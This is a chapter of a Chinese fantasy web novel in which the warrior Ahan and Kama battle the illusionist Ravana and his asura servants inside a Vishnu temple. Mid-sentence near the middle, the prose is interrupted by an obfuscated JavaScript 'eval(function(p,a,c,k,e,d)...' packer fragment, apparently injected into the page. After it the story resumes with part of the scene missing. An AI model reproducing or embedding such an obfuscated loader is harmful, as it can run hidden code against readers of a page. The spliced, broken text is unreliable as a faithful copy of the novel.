“你们谈情说爱够了没有?”一个身材矮小的男人忍不住叫道。 降三世转动眼珠,瞥了他们一眼。 “我们说话,什么时候轮到你们这些跑龙套的插嘴了?” “我们奉命把降三世带往帝拜楞迦城——” “都是要死的人了,还这么多废话。”降三世冷笑。 “你说什么?!” “他现在和你们之间的距离是六步,若你们再不滚,他每走一步就会杀掉你们其中的一个,想试试看的话就尽管来吧。” 话音刚落,六位吠舍当中身形最魁伟壮硕的一个立即大步走出,举起斗大的拳头不由分说便朝阿汉迎面砸来,拳风带有风雷之势。 “普力卡的拳头破坏力能与——” 咔嚓!—— 女秘书话音未落,一连串爆裂声响彻雨夜。 “普力卡你可真是下手一点也不留情哪。”皮鞭黑女王啧啧有声地说,“真是的,本想还想跟那壮汉玩玩,你一下就把他打得脑浆迸裂,也太没意思了。” 那巨人山一般的身躯矗立不动。 “普力卡?”他的同伴仔细一看,却不禁失声叫了起来。 阿汉并没有脑浆迸裂,反倒是普力卡的拳头,连同他整只右臂都碎了——大威德明王抬起左手挥拳,硬碰硬之下,普力卡当场完败。 阿汉卡住那巨人的脖子,同时开始迈步。 普力卡暴吼一声,抡起完好的左拳再次攻击对方。 咔嚓!—— 简直就是以卵击石——他的拳头砸在阿汉头上,只是令这位明王微微歪了歪脖子,而他的左臂也当即宣告报废。 普力卡在帝拜凭他一身蛮力和无坚不摧的铁拳,连许多刹帝利都不敢招惹他,他从来没怕过谁,然而此刻眨眼间就被废了双臂,喉咙被攥在别人手里,普力卡感到了前所未有的绝望。 阿汉捏断了他的脖子,那巨人立即歪倒在一边,身躯开始分解为蓝色星辰。 “一。” 其余五人全都惊呆了。 “你……”女秘书不可思议地盯着阿汉,“这不可能……你已经被因陀罗重伤,刚才对付那些首陀罗还……等一下!” 她的四个同伴已经出手。 身材矮小的男人变成沙没入地面,另外两个男人操纵着闪电和火焰朝大威德明王发动正面进攻,而黑女王毒蛇般的鞭子已经啪啪啪啪地缠住了他的四肢。 “这鞭子足以令你分尸!” 阿汉全身蓝光一盛,明王战铠幻化出高级形态,紫蓝色的明王业火沿着鞭子朝黑女王袭去,立即把她引燃,几秒钟前还不可一世的她惨叫着满地乱滚。 “二。” 两个操纵元素之力的吠舍被拦腰折成四截的躯体被丢到一边。 “三。” “四。” 阿汉一脚踏裂地面,竟将那个钻进地里伺机伏击的小个子男人活活踩成肉泥。 “五。” 降三世数着。 女秘书吓得两腿发软,那尊宛若战神的凶暴明王来到她面前,她连逃的勇气都没有。 “你似乎还有点脑子,死之前有没有什么话想说?”降三世问。 “我们……我们是想迎接你……”她尖叫,“你为什么……” 降三世一怔,之后鄙夷地说: “就凭你们这些无聊的吠舍,也想来迎接我?真让人笑掉大牙!” 女秘书恼羞成怒,突然不知哪来的勇气,扑上前死死地缠住阿汉。 “六。” 剧烈的爆炸后,阿汉继续前进,最后一个吠舍自我引爆,但在明王战铠的保护下,他毫发无伤。 降三世依旧无法控制整个躯体,除了说话之外简单的动作都很费功夫,她就这样靠在阿汉怀里,一言不发。 毗湿奴神庙近在眼前,只需再穿过一片树林。 雨淅淅沥沥地下着,树林里到处弥漫着水雾。 阿汉的靴子踏着泥泞的林地。 怀里的人体温低得惊人。 “耶罗。”阿汉忽然开口。 “你倒还记得这个名字。”降三世哼了一声,“你想问什么?你的小女孩么?她状况如何我不知道,就算知道你觉得我会老实告诉你吗?” “不是因为吠舍。”阿汉低沉的声音在树林中回荡,“为什么?” 她低头不语,许久之后才说: “我有一种预感。” “也许你的小女孩说的是对的。” 阿汉看着她。 “也许我真的再也见不到他了。” 降三世耸了耸肩,一副无所谓的样子。 “但是,好不容易有个机会,还是总想亲自去确认一下。”她问,“如何?这么卑微的愿望,你要不要考虑成全我一次?” 阿汉慎重地摇头。 “难得求你一次啊……”她讥讽道,“在人间呆了二十年看来也没多少长进,还是这么呆头呆脑的呀……那小女孩是怎么看上你的?” “卡玛她……她看不上我。”阿汉低声说。 “哦?她不是都愿意主动为你献身了吗?都这么低声下气了你还想怎样?” “她……她说她恨我……”阿汉难过地说,“她说我欺骗她的感情。” “废话,因为那个傻瓜一直以为你拿她当我的代替品。”降三世嗤之以鼻,“若连把想法说出口的胆子都没有,那就别装模作样了。” “……” “你有胆量对毗沙门理直气壮,却没种跟她说同样的话,真是个懦夫——说出来有这么难吗?你给我听好,我现在就告诉你——自从我第一眼看到那至的时候就爱上了他,从来没有任何一个男人让我这么动心,至于你的一厢情愿,对我而言毫无意义。” “我知道!”阿汉吼了起来,震得树叶上的水珠啪嗒啪嗒地滴在他身上。 他抬手为怀里的人挡去雨水。 “现在你也移情别恋了,所以我们互不相欠了,你若是能再找到一个合适的身体,我很乐意走开,毕竟成天做电灯泡实在是很没劲。” “但是,在那之后……” 她再次抬手抚摸他的脸。 “答应我一件事。” “若我真的再也见不到他,就把我杀了吧。” 阿汉盯着她。 “那三个老家伙安排的转生并非出于我的本意,没有他的生命,我不稀罕。” “不过,如果他真的在帝拜等我,我一定会继续追随他,无论他要干什么我都会支持他,要是不想到时候与我为敌,要不要现在动手干掉我,也随你的便。” 她轻描淡写。 阿汉缓缓地点了点头。 静悄悄的树林里,雨水的滴嗒和昆虫的鸣叫交叠在一起,那座毗湿奴神庙似乎近在眼前,却又像是遥不可及。 降三世眼睑微阖,沉默不语,她再次坠入深层意识。 阿汉加快脚步,但毗湿奴神庙却始终若隐若现地在他眼前飘忽不定。 这个树林似乎有着无限大的空间,他好像已经跑了数十个小时,却也可能仅仅度过了几分钟。 树叶唦唦作响,阿汉第三次看到了那几个吠舍尚未完全溃散的尸体。 有人设下了结界,企图将他困住。 更高级的阿修罗已经展开攻击了吗?这次是刹帝利?抑或是婆罗门? 他看到了两株与众不同的树——在阿什提城的贫民区,居然能看到娑罗双树。 阿汉突然想起了释迦。 当释迦为自己造下的罪孽忏悔顿悟后,他在娑罗双树下寂灭,当时那至、耶罗、阿汉和沙克帝都在场。 那至和耶罗怒斥释迦的背叛,沙克帝质疑释迦与三连神之间私下达成了不可告人的协议,面对同伴的愤怒和不解,释迦什么也没有说,只是微笑着任由自己的明王机体崩溃。 这个人引发了千年前的明王战争,最后又亲手将其结束,有人怀疑释迦的存在根本就是三连神为了对付野心勃勃的那至而有意设定的,无能胜明王在圆寂后成为了毗湿奴的第九化身成了这一说法的有力证据。 但也有人认为,在亲眼目睹明王战争给三界众生带来的浩劫后,作为始作俑者的释迦感到畏惧和恐慌,而此时三连神不失时机地加以劝诱,许诺他可以无条件得到赦免,功德非但不会受到折损,还可以成为毗湿奴化身并受到崇拜,作为交换他必须提供明王机体的全部设计资料。 这些都是猜测,那场令三界沦为地狱的噩梦已被尘封,相关的一切都作为须弥的最高机密存放在三连神的核心数据库里。 千年前的事,如今历历在目,却也好遥远。 当时自己究竟在想什么,到底要得到什么,阿汉已经记不太清楚了。 但这一次不一样。 阿汉听到女人的呻吟。 娑罗双树下侧卧着的不是释迦,而是一个怀孕的女人。 剧烈的痛楚令她眉头紧蹙,豆大的汗珠浸透鬓角。 她衣着朴素,有些营养不良,她看起来甚至没有足够的气力生下孩子。 为什么这个女人会在这里分娩?孩子的父亲为什么没有陪伴在她身边? 阿汉走到她身边。 “帮帮我……救救我……”她虚弱无力地颤声求救,“求求你……” 那一瞬间,阿汉觉得那个女人好像…… 他垂首看了看臂弯,那个女孩安静地蜷缩在他怀里。 “啊……啊……我的孩子……”女人惊呼,“要……要出生了!……” 话音刚落,婴儿的哭声传遍树林。 阿汉大吃一惊,骁勇善战的他遇到这种事情,简直是手足无措。 他忙把怀中的女孩放下,让她背靠着其中一棵娑罗树,然后过去查看那女人和她刚刚出世的孩子。 待阿汉刚刚转身,却发现她不知何时已经站了起来。 她自己掐断了脐带,一手按着小腹,一手托着那个浑身羊水紫红色的婴儿,□□涌出的血水把衣物染得腥红。 她剧烈地喘息着,踉跄着走到阿汉跟前,把婴儿递了过去。 他来不及细想,伸手接住。 刚出世的孩子柔软得像一团被包住的水,它哇哇大哭,在阿汉的掌心蠕动着,只有那么一点点。 女人脸色苍白,看上去虚弱得随时都会晕倒,可她对自己的状况浑然不觉,歪着头盯着阿汉不住地看。 她突然咧嘴笑了。 “你喜欢它吗?”她两眼闪闪发光,一脸急切地问。 “……” “喜欢吗?”她舔着手上的血,“喜欢我为你生的儿子吗?” “它很漂亮,对不对?很快它就能长得和你一样威武——对,很快……再等一会就可以了。” 阿汉突然感到手里的婴儿变沉了。 长大啦—— 长大啦—— 我要变成大人啦—— 阿汉想把那婴儿放下,却发现那个肉团似乎粘在了自己的手掌上,甚至当他用力甩手也无济于事——婴儿竟然寄生在他的手心,开始疯狂地吸取他的能量! 那女人后退了几步,接着像猴子一样灵巧无比地爬上了另一株娑罗树,盯着阿汉咯咯直笑。 眨眼的功夫,那婴儿已经变成了少年,接着有了喉结,肩膀变宽,身上隆起块块肌肉,阿汉刚想反击,却发现那个已经成长为青年的孩子竟有一张与自己一模一样的脸。 “你该不会想杀掉我吧?”青年的身躯继续膨胀着,“父亲?” 树上的女人左顾右盼了一会,脸上再次出现了异样的表情。 “啊……啊啊……” 她伸手从血迹斑斑的裙底摸索了一阵,竟掏出个未成形的胎儿。 “你的爸爸不要你了,那就炸死他吧——咯咯咯!” 女人把胎儿丢向阿汉,那东西一碰到阿汉的身躯就立即用畸形的四肢飞快地爬到他的肩膀上,伸出触手死死死缠住他的脖子。 坏爸爸! 讨厌的爸爸! 炸死你!炸死你! 咔!—— 大爆炸掀起的气浪将娑罗双树周围的树木连根拔起,耀眼的火光冲天而起。 在明王战铠的防护下,阿汉居然受伤了。 “别着急……一次只能让你们当中的一个出来……别着急……”女人的腹部胀得越来越大,她不停地从自己的子宫里揪出“炸弹”,然后丢向大威德明王。 咔!——咔咔!—— 猛烈的爆炸接二连三,树林很快就被毁得不成样子,满目疮痍的林地布满大大小小的弹坑,而那个吸收了宿主能量成长完全的“孩子”已经变成了相貌身形和阿汉如出一辙的巨人,甚至当炸弹在他身边爆炸时,他的体表也被蓝光覆盖,一如阿汉的明王战铠。 “……这次再生个什么样的孩子好呢?”女人眼珠一转,将目光落到卡玛身上。 “有了……咯咯咯……” 阿汉与自己的复制体大打出手,当发现那个阿修罗在打卡玛的主意时勃然大怒。 强烈的能量波动令他须发皆张,阿汉眼中蓝色一闪,对方的首级立即不翼而飞。 巨人四处摸索寻找自己的头颅,阿汉上前一拳打穿它的胸膛把心脏扯出来捏碎,接着不再理会那个抽搐挣扎的复制体,对盘踞在树上的女人出手。 “你居然连自己的孩子都不放过……”女人的腹部已经胀大到几乎快把娑罗双树压垮的程度,动弹不得的她一连“噗嗤”“噗嗤”地生出几十个肉团,这些“孩子”全都变成色彩斑斓的巨型蜘蛛,一部分对阿汉发动猛攻,另一部分开始在娑罗树冠和它们的母体之间飞快地织网。 “大威德……你果然没有心……是个没有感情的怪物!” “无论是降三世……还是卡玛……和你在一起都不会得到幸福!” 女人怪叫连连,同时将从自己背后探出的细长蜘蛛腿伸向被蛛丝缠绕结茧的卡玛。 “我不相信……你连自己喜欢的女人也舍得下手……咯咯咯……” 就在她即将碰到卡玛时,那女孩突然睁开了眼。 “咦?……” 她挣开茧壳,一把攥住黝黑发亮的蜘蛛腿,手腕一翻将其折断,蓝色的□□从断裂的机械体中喷出。 女孩面无表情地沿着蜘蛛丝朝那大腹便便的女人爬去。 “你……你想干什么?” 女孩的肩部沿着红色光纹裂开,扬起一对寒光闪闪的异形刀锋。 “别……别划破我的肚子!”女人惊叫,“它还没长到足够大啊!” “一路上有很多阿修罗企图阻止我们前往毗湿奴神庙。”女孩捏着她的下巴邪笑道,“它们都死了……就像被烧焦的纸灰,被风吹散了——你也想像它们一样么?” “你们这么拼命究竟是为了什么?”女孩问,“那座神庙里莫非有什么不能让我们接触的宝贝?” 女人又咯咯咯地笑了。 “一切都是那位大人的意思……四处加持印后,天神已经无以为继……” 咕噜——咕噜—— 女人的腹部蠕动着。 “光凭大威德一个人是无济于事的呀……” “降三世,你不是渴望进入帝拜吗?为什么还要帮大威德的忙?” 女孩冷冷一笑。 “因为现在的我不是降三世。” 白光一闪,蓝色的血喷在蛛丝护盾上,缓缓流淌。 阿汉看不清那巨大的虫茧内发生了什么时,惊怒之下架起汉巴达炮连发六击。 蓝光散尽,那个阿修罗与她尚未衍生完成的子系统无影无踪,蛛网、娑罗双树乃至整个树林都消失于无形,阿汉和卡玛面前出现了巍峨的毗湿奴神庙。 神庙的入口一直就在眼前,而他们却被幻境所困。 阿汉冲上前抓住卡玛,仔细地检查她是否受伤,她身上到处都沾着阿修罗的蓝色血液,这实在吓坏了他。 咯咯咯—— 神庙门前有一大滩血,蓝色的液体渗入地表,当中有一颗女人的头颅。 人头从地面升起,浮在空中,缓慢地自转,每转一周就换一张脸。 喜怒哀乐无加男女相,共是十面。 阿汉和卡玛凝视着那颗头颅,直至它凭空消失。 通往毗湿奴神庙深处的路,两旁的油灯接连亮起。 阿汉回头,只见他们身后一片混沌,繁华的阿什提宛若海市蜃楼,远在天际。 也许已经没有退路。 也许再也回不去了。 卡玛牵住阿汉的手。 “走吧。”她说,“一起去做个了断吧。” 阿汉伸出双手捉住她的肩膀。 “有什么话,等这一切结束,再说给我听。” 她冲着他笑了笑。 “我们一定还会有很多时间,是不是?” 没有任何阻碍,阿汉和卡玛来到了毗湿奴神庙的最深处。 那里矗立着巨大的神像——毗湿奴的第一只手持法螺邦恰金亚,第二只手持轮宝瓦杰拉那巴,第三只手持权杖高奴达吉,站在千头大蛇阿南塔的身上。 毗湿奴神像的第四只手里空空如也。 神像脚下,一个白衣少年背对他们,仰望毗湿奴的神像。 “那么……”少年开口,“三连神最后派来对付罗婆那的,就是你们了吧?” 少年转过身。 “大威德明王,汉巴达。”他向两人颔首致意,“降三世明王,耶罗。” 少年手中拿着一株莲花。 “刹帝利做了些多余的事,辛苦你了,大威德。” 盯着阿汉脸上的血和身上大大小小的伤痕,少年微微一笑。 “那么。” 他向卡玛伸出手。 “跟我来吧,降三世。” “身为八大婆罗门之一的罗婆那,应该有迎接降三世明王进入帝拜的资格吧?” 卡玛情不自禁地后退了一步。 少年的手洁净白皙,散发着朦胧的光,像世界上最美好的事物。 “你至死不渝深爱着的中央不动尊明王那至,已经在楞迦城里等了你很久了。” “不要再让他久等了,好吗?” 不要再…… 不要再让他久等了…… 好吗?…… 卡玛突然听到了塔布拉鼓和维纳琴的声音。 她听到有人在唱歌。 男人的嗓音粗犷嘹亮。 女人的声线妖娆艳丽。 老人的吟唱沧桑沙哑。 孩子的歌谣稚嫩无邪。 耶罗。 卡玛。 来吧。 来吧。 跟我走吧。 跟罗婆那走吧。 跟他走吧。 走吧。 无数低语从四面八方涌来,卡玛仓皇地向四周张望,只觉得这个巨大的神庙处处都有悬浮的人头在注视她,但仔细去看却什么也没有。 她能感到那些窃窃私语正伴随着妖异的乐曲一点点地朝她体内渗透,每一个声音都似乎在说着那些她最渴望了解的秘密,但仔细去听却什么也没有。 傻瓜,别听那音乐! 卡玛猛地回过神来,不知不觉已是一身冷汗,下意识地望向身边。 “一起去帝拜,好吗?” 不知什么时候,她身边的阿汉竟变成了那个白衣少年,而她正牵着他的手! 她大吃一惊,想甩开少年,肢体却不听使唤。 你并不知道应该如何发挥降三世明王的力量,所以侵入你的精神领域对罗婆那来说……是轻而易举的事。 “你的一切愿望都可以实现,你可以永远和阿汉在一起,过幸福的生活。” 在罗摩神庙里,希兰亚卡希布完成了降三世明王机体的最后启动程序,并且进行了第一次接触……经过分析,罗婆那已经完全掌握了降三世的能量体系……是时候进行第二次接触了…… “不会再有任何天神或阿修罗来扰乱你的生活,只要你愿意,你可以把这些都忘记,就好像从不曾发生过任何事一样。” 在楞迦城之颠,正在进行前所未有的至高仪式,在那之后一切都会改变,旧的秩序会瓦解,新的时代会降临……若是少了降三世,那可不成呢…… “卡玛,抛开莫名的坚持,心安理得地活着,这样不是很好吗?” 少年的声音低柔温润,有着安抚心灵的特别力量,伴随着那些似有若无的窃窃私语,卡玛感到莫大的宁静。 是的,这到底是为什么呢?她只是个再普通不过的凡人,因为在机械技术上的一点小天分沾沾自喜,我行我素地活着,和这个城市里的所有其他人一样消耗着天然寿命,然后把身上的器官拆拆换换,变成一个不老不死的人造怪物,想活到什么时候都可以——世界轮不到她来拯救,宇宙什么时候毁灭也无需她操心,为什么她要和这些匪夷所思的事情扯在一起? 已经很厌倦了吧? 是的,已经很累了。 让这些都结束好吗? 为什么不呢? 那么,把一切都交给罗婆那就好。 那样就可以实现愿望了吗? 当你再次醒来的时候,你会发现一切已如你所愿。 “卡玛!!——” 一声霹雳似的咆哮在她耳边炸起,整个神庙都被震得瑟瑟发抖。 一只粗壮的手臂从卡玛身后探出,钳子般的巨掌死死地卡住了少年天鹅般的脖子。 “那是罗婆那的精神攻击,看着我,卡玛!” 雄狮般的吼声震碎了卡玛的视野,无孔不入的低语被扰乱,变成了混乱无章的杂音,她看到了那张还在淌血的刚毅的脸,还有那双熊熊燃烧的蓝眼睛。 “你会……后悔的……你会后……悔的……你会后悔……的——” 卡玛感到阿汉手臂上的肌肉猛地绷紧,随即身后传来一声骨头碎裂的闷响。 她不敢回头,不敢去看那个少年颈骨被折断,漂亮的头颅软绵绵地搭在肩膀上的情形,她只能听到那个断断续续,像快没电的古董卡带机发出的声音在一遍又一遍地重复: “大威德……你会后悔的……你一定会……后悔的……” 阿汉一扬手,少年的身躯撞在神庙的石柱上,没有被砸得血肉模糊,而是像玻璃器皿似的在一阵清脆的碎裂声中四分五裂,晶莹剔透的碎片散落一地,每一块碎片里都映着少年的倒影。 卡玛紧紧地抓住阿汉。 阿汉满面怒容。 只是一眨眼的功夫,就被罗婆那趁虚而入,他差点把身边的人拱手相让。 阿汉是个温厚沉默的人,但他也是会发怒的。 “大威德明王的狮子吼,果然很厉害。” 少年依旧站在毗湿奴神像脚下,轻抚着手中的莲花。 大威德·无迴散难印·汉巴达炮! 光柱准确无误地击中了少年,却透过他的身体凭空消失。 那只是罗婆那投射在摩诃的幻象。 幻非天从来不会暴露自己的本体。 “其实精神攻击这种伎俩,位阶稍微高一点的天神和阿修罗,甚至是有天赋的人类都可能拥有。”少年漫不经心地说,“大威德的明王狮子吼和降三世的胜身三摩耶咒都是足以致命的精神攻击,毗沙门天王的一切支分身咒也是精神系的能力……” 少年眼珠一转,面无表情地盯着阿汉和卡玛。 “想知道为什么罗婆那会被称为幻非天吗?” 卡玛全身绷紧,那股令人毛骨悚然的气息再次扑面而来,明暗交错的世界呈现出怪异的扭曲,五感陆续模糊,唯独冥冥之中的自我无比清晰,成为被污染的最佳目标。 “小心!”她叫道,“又来了!” 他们的脚下突然出现了巨大圆形光斑。 阿汉抱着卡玛闪身跃起,随即他们的身影消失了。 四周的景象在飞快的变换着,各种光怪离奇的东西转瞬即逝。 “抓紧我,卡玛!无论如何也不要松手!” 你保持沉默,积蓄“音”的能量…… 若是全力一击的明王狮子吼,究竟会有怎样的威力呢? 于是你一次又一次地放弃向她表白的机会…… 幻想有朝一日她可以明白你的心情…… 汉巴达,你很可爱。 但也很悲哀。 “不要听,卡玛!不要听他的话!” 阿汉低吼着。 你心甘情愿地做降三世的奴仆,哪怕舍下全部的自尊,感情被弃如敝履…… 这一次,难道就不会重蹈覆辙了么? 女人的想法……笨拙的你究竟能猜透几分? 汉巴达,你到底在为什么而战? 你到底想要什么?! 阿汉的耳中淌出鲜血,他气喘如牛。 明王的精神壁垒在这个阿修罗面前形同虚设,他没料到罗婆那会这么可怕。 罗婆那可以实现你的全部愿望。 你可以和自己爱的女人结合,你将独享对她灵魂的占有权和身体的使用权,她会为你生儿育女,你可以做一个幸福的丈夫和父亲。 不会再有人来打扰你们。 这一切对罗婆那来说轻而易举。 只要你放开她。 放开她,汉巴达。 不……不能放开。 把她交给罗婆那,一切烦恼从此烟消云散。 阿汉只觉得怀中的人竟似有万斤重,凭他的臂力都逐渐难以承受,他的步伐越来越迟缓,脚下的路布满荆棘,他的每一步都鲜血淋漓。 他突然感到有人在吻他。 卡玛紧紧地搂住他,不顾一切地吻他。 他的血浸染她的嘴唇。 “别怕,阿汉。” 他听到那个女孩对他这样说。 “别怕,我一直在你身边,我哪里都不会去。” 她在说谎,她和降三世一样在欺骗你。 因为你对她还有利用价值。 “我没有说谎。”她说。 “凭我的灵魂起誓,我爱这个叫阿汉的男人。” “我很爱他。” 阿汉怔怔地瞪着卡玛。 他怀里的人正蹙着眉,摇着头替他擦拭脸颊。 “真没想到。”她微笑着说,“像你这样的男人,竟也会哭。” 阿汉木然地抬手摸了摸自己的脸。 这是…… 为什么他的视线这么模糊?…… 难道…… 从接受明王机体改造的那一天起,他就不再有“眼泪”这种东西了。 明王机体的能量强度越来越大,他遗忘的事情也越来越多,他渐渐记不起来自己为什么要和那些天神战斗,也想不起来自己到底想要得到什么。 唯一还能留在心里的,只有那个人的背影。 他麻木地战斗着,他知道自己不能停止,但他忘记了为什么不能。 看着她被夜叉虚空藏究级释暗波的光吞噬,他心里最后的慰藉也没有了。 可即便那时,他也不曾哭过。 如今,被他抱在怀里的人,只是捧着他的脸,凝视着他,对着他说了几句话—— 千年的封印被解开,某些失却已久的东西隐约回来了。 “你流泪的样子,连最冷感的女人都会心碎。”卡玛叹息,“这样下去,我的情敌会如潮水般涌来的啊……” 真是感人的爱。 不过到此为止了。 有人正试图侵入此地,已经没有时间了—— 大威德、降三世,你们的意思,是打算拒绝罗婆那,放弃实现愿望的机会吧? “那样被实现的愿望,只是你创造出来的幻觉罢了。”卡玛说,“那不是我们所期盼的。” 只要是自己能感受到的,就是真实——幻觉又有什么关系? 美好永恒的虚幻,难道比不上残酷短暂的现实? 多少人梦寐以求的天堂,那是只有在想象中才存在的东西。 三连神想象形成的世界便是现实,罗婆那构造的只能是幻境…… 不过这一切马上就会改变了。 少年举起手中的莲花。 “这株莲花,原本应该握在毗湿奴手里——这株从他肚脐中生长出的莲花中衍生了梵天,接着梵天再创造你们所熟知和尚未了解的世界,换句话说,这株莲花代表着整个宇宙的和谐与真理。” 少年微笑着。 “毗湿奴持有它,由此确立了三连神对宇宙的最高支配权……不过现在这株莲花却在罗婆那手中,你看——” 他摊开手。 “这株莲花已经快要变黑了。” “当核心领域周围的八个花瓣变成黑色,一切就已成定局,这不是你们两位明王的力量就能阻止的。” 少年冷冷地说: “你们很快就会明白拒绝罗婆那意味着什么,你们在摩诃待了太久,沾染了凡人的贪婪,对□□情欲的沉沦会使你们付出沉重代价。” 阿汉全身蓝光激荡,他已准备迎战。 等到罗婆那的虚幻取代三连神的现实成了新的秩序后,再后悔可就来不及了。 现在罗婆那要带走降三世完成仪式的最后程序。 大威德,你就安静地等死吧。 少年消失了。 阿汉和卡玛的脚下突然出现了巨大的—— 手。 那只手掌似乎无限宽广,摊开的掌心像是能容纳须弥,五指如同宇宙的支柱。 大威德,任凭你逃过千亿个光年,躲到世界的尽头,又怎能跳得出罗婆那的手心? 悬挂苍穹的太阳,那是罗婆那的眼。 来吧,死在你最爱的人的招式下吧。 幻非天·婆娑现世书·胜身三摩耶咒! 红光从天而降,直刺阿汉的左眼。 “躲开那束光!” 卡玛永远也忘不掉刹迦罗被当场击穿头颅的情景。 阿汉背后的明王业火顷刻间形成了巨大的狮子形态。 他并不打算躲闪,而是深深地吸了口气。 雄壮的胸膛骤然扩展开来。 大威德·无迴散难印·降魔狮子吼! 超级音波爆破产生的巨大能量在阿汉和卡玛身体周围形成了半径上百公里的球形屏障,那只漫无边际的手立即崩塌,星球被震碎,一切物质都遭到原子结构级别的破坏,罗婆那制造的幻境空间内所有的景象,都不约而同地产生程度各异的扭曲。 罗婆那,还有你的幻境,统统消失吧! 面对阿汉威力惊人的降魔狮子吼,罗婆那的胜身三魔耶咒就像一缕暴风中的烟,顷刻间化为乌有,少年那足以支撑天地的躯体被轰得支离破碎,凄厉的惨号排山倒海。 幻境全部消失。 毗湿奴神庙内寂静无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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卡玛急了,不顾一切地加大力量,剧烈的冲击震裂了她的指甲,焦虑和痛楚令她终于忍不住叫出声来。 真的很痛苦。 她从未像现在这样觉得自己没用过。 眼睁睁地看着阿汉受伤流血,却什么忙也帮不上。 “卡玛,快逃!逃呀!”阿汉的吼声震彻神庙。 “其实罗婆那本来就没有指望胜身三摩耶咒能起效。” 少年的身体开始闪光,频率逐渐加快。 “和大威德明王战斗,正面交手几乎是不可能获胜的——尤其是现在。” 就差一点就可以弄掉那东西了。 “现在他只能使用精神攻击,我不会有事的!”感到身后那股邪异的阿修罗之力暴增百倍,阿汉心急如焚。 “你这么确定?”少年微笑道,“若是以前的那个大威德,也许真的没什么用处。” “……” “可是,刚才落泪的你,也许已经把丢掉的心找回来了吧?” “卡玛!” “卡玛消失的话,那个身体里剩下的只有降三世而已。” 他侧过脸,冷冷地望着那尊巨大的神像。 毗湿奴在哭泣。 “你也在为他们落泪么?不用担心,很快就轮到你们了。” 少年的掌心泛起苍白的光。 “阿汉,卡玛——你们就这样一起死吧。” 幻非天·无妄尊因陀罗咒·大非空想光明遍照! 惨白的死光瞬间湮没一切。 卡玛尖叫一声,明王机体承受不住巨力出现崩溃迹象,她右手断了三指,碎裂的手腕和前臂迸出蓝色的血,而她也终于扯下了那片花瓣。 强大的惯性令她迎面倒下,得到自由的阿汉飞快地抱住她。 他已经来不及张开明王屏障进行防御,即使能够,面对罗婆那的攻击大概也无济于事。 阿汉本能地将卡玛拥在怀中,转身背对漫天白光。 他不知道为什么罗婆那竟能使用暗黑帝释天之力。 他也不知道自己硬抗下这一击后又会发生些什么。 也许会狂性大发,也许会变成行尸走肉。 在理智完全泯灭前,他会自我引爆。 卡玛冲着他大吼,她拼命摇头,残缺不全的手抚着他的脸,两人的血混在一起。 他的想法……这么轻易就被那个小家伙猜透了吗? 身躯渐渐变得冰冷,意识渐渐模糊,大非空想光明遍照已经开始起效了。 死光刷白了他的头发,眼瞳中只剩下枯灰。 他什么也看不见,什么也听不到,他感到自己的灵魂在蒸发。 结束了,大威德。 嘶吼声传遍毗湿奴神庙,很痛苦,也很哀伤。 阿汉倒下了,像座崩塌的山。 他为怀里的人遮住了全部的光,直到最后也没松手。 看到那个小家伙似乎并无大碍,他用最后的力气,轻轻地笑了一下。 一定还是凶巴巴的能把小孩子吓哭吧。 该多练习练习才是…… 阿汉闭上了眼。 卡玛默默地站了起来。 少年怜悯地看着她。 “罗婆那,我要杀了你。” 少年笑了,灿烂的笑容令人眩目。 “是吗?” “我要杀了你。”她一字一句地说。 红色光纹从头顶的莲花图案溢出,沿着她的肢体蔓延至全身。 黑色明王机械体自她体内展开,竟比她本人还要庞大数十倍。 “哦?……降三世又获得身体的支配权了吗?”少年扬了扬眉。 你杀了阿汉……我要你的命! “你是……”罗婆那一愣,“卡玛?” 当她挣扎着从阿汉失却温度的怀中爬出来时,天崩地裂般的怒火令她的面孔扭曲,如今的她只有一个念头,那就是把眼前的恶魔撕成碎片! 很奇怪,当她这样全神贯注,近乎歇斯底里地将憎恨倾注到罗婆那身上时,那些不可思议的事情就这样自然而然地发生了。 这身体变成什么样子也无所谓。 自己会落得什么下场都无所谓。 杀了那个东西就好! 让他再也笑不出来就好! 杀了它! 杀了它!! 降三世·婆娑现世书·胜身三摩耶咒! 卡玛……可以使用降三世明王的力量了吗? 去死吧!罗婆那!! 咔!—— 红光刺中少年的左眼,从他脑后穿出。 婆罗门蓝色的血溅在了毗湿奴神像上。 就像一盏精致细腻的瓷器被磕破边缘,细微的缺损,便不再有完美。 少年起初一脸惊愕,随后他又回复至一贯的漫不经心,默默地用手捂着被刺穿的左眼,血从指缝中涌出,触地之前已无声消散。 少年笑了。 “这么说……现在的你,依然是卡玛了?” 他挥掉手上的血。 “那么你可以哀号哭喊得再大声一些。” “然后罗婆那会把绝望的你送去陪他。” 卡玛全身红光闪烁,庞大的明王机体咆哮着向少年扑去。 “要同归于尽?”少年耸了耸肩,“真是遗憾,罗婆那没有兴趣。” “降三世的明王机体,若是严重损毁,那可就麻烦了呀。” 幻非天·无妄尊因陀罗咒·大非空想光明遍照! 死光再现。 再见了,卡玛。 然而—— 在罗婆那的光即将照射到卡玛的瞬间—— 毗湿奴神庙内突然闪起金光。 少年面无表情。 他讨厌这光。 三生无落叶秘法·狮子奋迅咒·空遍金刚初割奉还! 大非空想光明遍照,被那层薄纸般的光镜反射,原原本本地击中了罗婆那。 少年全身泛起一片惨白。 “毗沙门天,你……” 手中的莲花变成了灰,悄无声息地在剧烈的能量冲击中消逝。 少年的指尖开始溃散,他的身躯在分解。 偷来的招式弹回自己身上,感觉不坏吧? “哼。”少年冷笑一声,“镜子的另一边,卡玛不也和我一样吗?” 盛怒之下的卡玛操纵着连她也不了解的明王之力对罗婆那发动攻击,却也当场遭到反噬,本来就处于不稳定状态的明王机体瓦解,她在落地之前被人接住。 “有劳你费心了。”刹迦罗低声回应,“罗婆那——或者应该称呼你为‘明帝’才对?” 少年的躯体仅剩三分之一。 “四处加持印修复了一切被暗黑帝释天破坏的东西,除此之外……毗沙门天,你好像还知道了不少秘密的样子。” 刹迦罗正准备开口,突然感到胸前的衣襟被轻轻地拽了拽。 卡玛面朝着他,两眼却失去焦距。 他握住她血迹斑斑的手。 “……”她的嘴唇蠕动着,像在对他说着什么。 之后她垂下了头。 依然有脉搏和呼吸,虽然微弱,但她还活着。 刹迦罗望着倒在地上的阿汉。 他来迟了一步。 “别担心,他们都还活着。”少年没了躯体,只剩下头颅悬浮在空中。 